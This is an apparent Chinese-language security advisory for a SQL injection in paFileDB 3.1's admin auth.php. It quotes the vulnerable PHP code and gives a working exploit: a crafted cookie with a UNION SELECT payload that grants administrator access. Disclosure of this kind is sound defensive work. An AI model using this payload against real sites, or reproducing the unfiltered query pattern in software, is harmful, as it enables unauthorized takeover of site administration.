PAFileDB auth.php远程SQL注入漏洞


添加时间:
2005-08-31

系统编号:
WAVDB-00652
BUGTRAQ: 14654

影响版本:
paFileDB 3.1

程序介绍:

paFileDB是一款文件管理脚本,允许版主管理站点下载文件数据库,还可以编辑和删除文件。

漏洞分析:

paFileDB的'/includes/admin/auth.php'文件中存在SQL注入漏洞,远程攻击者可以利用这个漏洞入侵基础数据库系统。
起因是没有正确的过滤用户输入:

 
  1. if ($authmethod ==  cookies ) {  
  2. echo  authmethod = cookies\n ;  
  3. $cdata = explode( | , $pafiledbcookie);  
  4. $ip = $cdata[0];  
  5. $user = $cdata[1];  
  6. $pass = $cdata[2];  
  7. echo  ip = $ip, user = $user, pass = $pass\n ;  
  8. }  
  9. if (!emptyempty($user)) {  
  10. echo  user not emtpy\n ;  
  11. $admin = $pafiledb_sql->query($db,  SELECT * FROM $db[prefix]_admin WHERE admin_username = '$user' , 1);  
  12. $adminip = getenv ( REMOTE_ADDR );  
  13. $md5ip = md5($adminip);  
  14. if ($pass == $admin[admin_password] && $md5ip == $ip) {  
  15. $logged = 1;  
  16. }  
  17. else {  
  18. echo  user emptyempty\n ;  
  19. $logged = 0;  
  20. }  


漏洞利用:

创建畸形的cookie,名称为pafiledbcookie,内容为:

[MD5 IP]%7CaG'+union+select+1,2,'pass',4,5/*%7Cpass

导航至http://www.example.com/pafiledb.php?action=admin

这样攻击者就可以以管理权限登录访问控制面板。



解决方案:
厂商补丁:
paFileDB
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.phparena.net

信息来源:
<*来源:deluxe89 (deluxe@security-project.org)Astovidatu  *>